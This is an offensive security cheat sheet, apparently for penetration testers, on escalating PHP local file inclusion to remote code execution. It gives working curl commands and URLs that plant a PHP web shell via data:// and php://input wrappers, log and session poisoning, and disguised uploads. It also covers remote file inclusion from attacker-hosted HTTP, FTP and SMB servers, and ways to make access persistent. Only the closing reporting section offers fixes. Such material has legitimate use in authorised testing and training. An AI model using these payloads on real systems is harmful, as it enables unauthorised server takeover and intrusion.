🛡️ Methodology Checklist

  • PHP wrapper data: ?file=data://text/plain;base64,[BASE64_PHP_CMD]
  • PHP wrapper expect: ?file=expect://id (requires expect extension)
  • PHP wrapper input: POST payload with ?file=php://input
  • Log poisoning: inject PHP into User-Agent, access via LFI to /var/log/apache2/access.log
  • SSH log poison: ssh "<?php system($_GET['cmd']); ?>"@[TARGET] then read auth.log
  • /proc/self/environ: inject into HTTP_USER_AGENT, read via LFI
  • Session file: inject PHP into PHPSESSID value, include /var/lib/php/sessions/sess_[ID]

🎯 Operational Context

Use when: LFI confirmed — escalate to RCE via log poisoning, PHP wrappers, session file inclusion, or /proc/self/environ injection. Think Dumber First: Log poison: inject PHP code into User-Agent header → include Apache/Nginx access log via LFI. curl -A '<?php system($_GET[cmd]); ?>' http://[TARGET]/ then ?file=/var/log/apache2/access.log&cmd=id. Skip when: Log files not accessible or rotated too frequently — try session files (/var/lib/php/sessions/sess_[PHPSESSID]) or /proc/self/environ.


⚡ Tactical Cheatsheet

CommandTactical Outcome
curl -s "http://[TARGET_IP]/index.php?language=php://filter/read=convert.base64-encode/resource=/etc/php/7.4/apache2/php.ini" -o raw.txt && cat raw.txt | base64 -d -i | grep allow_url_includeVerify allow_url_include before wrapper attacks
echo '<?php system($_GET["cmd"]); ?>' | base64Generate base64-encoded web shell
curl -s 'http://[TARGET_IP]/index.php?language=data://text/plain;base64,[B64]&cmd=id'RCE via data:// wrapper (URL-encode +%2B, =%3D)
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://[TARGET_IP]/index.php?language=php://input&cmd=id"RCE via php://input wrapper
curl -s "http://[TARGET_IP]/index.php?language=expect://id"RCE via expect:// (requires expect extension installed)
echo '<?php system($_GET["cmd"]); ?>' > shell.php && sudo python3 -m http.server [LPORT]Create shell + host over HTTP for RFI
sudo python -m pyftpdlib -p 21Host shell over FTP (bypass HTTP WAF rules)
impacket-smbserver -smb2support share $(pwd)Host shell over SMB (Windows — bypasses allow_url_include)
curl -s "http://[TARGET_IP]/index.php?language=http://[LHOST]:[LPORT]/shell.php&cmd=id"RFI via HTTP
curl -s "http://[TARGET_IP]/index.php?language=ftp://[LHOST]/shell.php&cmd=id"RFI via FTP
curl -s "http://[TARGET_IP]/index.php?language=\\[LHOST]\share\shell.php&cmd=whoami"RFI via SMB (Windows target)
http://[TARGET_IP]/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3ESession poisoning — URL-encode PHP shell into session variable
http://[TARGET_IP]/index.php?language=/var/lib/php/sessions/sess_[COOKIE]&cmd=idExecute poisoned session file
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison.txt && curl -s "http://[TARGET_IP]/index.php" -H @Poison.txtPoison Apache access.log via User-Agent
http://[TARGET_IP]/index.php?language=/var/log/apache2/access.log&cmd=whoamiInclude poisoned log file for RCE
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gifLFI + upload: GIF magic bytes + PHP shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.phpLFI + upload: ZIP wrapper payload
http://[TARGET_IP]/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=idExecute via zip:// wrapper

🔬 Deep Dive & Workflow

RCE Path Decision Tree

Have allow_url_include = On?
├── Yes → data:// (GET) or php://input (POST) wrapper
└── No  → Can you upload files?
          ├── Yes → Upload + include (GIF magic bytes, zip wrapper, phar)
          └── No  → Can you read server logs?
                   ├── Apache/Nginx readable → Log Poisoning
                   ├── PHP session param stored → Session Poisoning
                   ├── SSH accessible → SSH log poisoning
                   └── Windows target + RFI possible → SMB RFI (bypasses allow_url_include)

PHP Wrapper RCE

data:// (GET, requires allow_url_include)

echo '<?php system($_GET["cmd"]); ?>' | base64
# Output: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
# Encode + and = before inserting in URL:  %2B  %3D
curl -s 'http://[TARGET_IP]/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id'

php://input (POST, requires allow_url_include)

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' \
  "http://[TARGET_IP]/index.php?language=php://input&cmd=id"

Log Poisoning

Apache log: written on every request, includes User-Agent.

# Step 1: Poison the log
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison.txt
curl -s "http://[TARGET_IP]/index.php" -H @Poison.txt
 
# Step 2: Include and execute (SEND REQUEST TWICE — Apache writes BEFORE you can include it)
curl "http://[TARGET_IP]/index.php?language=/var/log/apache2/access.log&cmd=whoami"

Log path reference:

Apache Linux:  /var/log/apache2/access.log
Nginx Linux:   /var/log/nginx/access.log
Apache Win:    C:\xampp\apache\logs\access.log
SSH log:       /var/log/sshd.log  (poison via SSH username: <?php system($_GET['cmd']); ?>)
FTP log:       /var/log/vsftpd.log

Syntax crash: Any typo in PHP payload permanently breaks the log → all future LFI attempts 500. Reset target.

Session Poisoning

# Find PHPSESSID value in browser cookies
# Session file path: /var/lib/php/sessions/sess_<COOKIE>
 
# Step 1: Inject PHP shell into the language parameter (which gets written to session)
http://[TARGET_IP]/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
 
# Step 2: Execute
http://[TARGET_IP]/index.php?language=/var/lib/php/sessions/sess_el4ukv0kqbvoce97bkep0e6bm&cmd=id
# Must re-poison session before each command (session file overwrites)

Upload + LFI Combinations

# GIF magic bytes bypass content checks
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
# Upload → include: ?language=./uploads/shell.gif&cmd=id
 
# ZIP wrapper
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
# Upload shell.jpg → include: ?language=zip://./uploads/shell.jpg%23shell.php&cmd=id
 
# PHAR wrapper (generate phar archive, rename to .jpg, upload)
# include: ?language=phar://./uploads/shell.jpg%2Fshell.txt&cmd=id

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Log poison not executingPHP tags stripped from logTry: <?=system($_GET[cmd]);?> (short open tag) or base64-encoded PHP in User-Agent
Log file path unknownNon-default Apache/Nginx installCommon paths: /var/log/apache2/access.log, /var/log/nginx/access.log, /proc/self/fd/1
php://input wrapper blockedPOST body not processedTry data:// wrapper or file upload + include
Session file inclusion failsPHPSESSID not knownRead your own session: PHPSESSID from cookie; inject PHP into any session-stored value
RCE not persistentLog rotatedAct quickly; use first RCE to write a web shell to disk for persistence

📝 Reporting Trigger

Finding Title: LFI Escalated to Remote Code Execution via Log Poisoning Impact: LFI vulnerability escalated to full RCE by injecting PHP code into server logs and including the poisoned log file, providing interactive command execution on the server without requiring file upload capabilities. Root Cause: PHP code execution enabled for included files with no distinction between legitimate includes and attacker-controlled data. Log files accessible to the web application process. Recommendation: Disable PHP code execution in log directories. Implement allowlist-based file inclusion. Enable open_basedir to restrict PHP file operations. Run web application as an isolated user without access to system logs.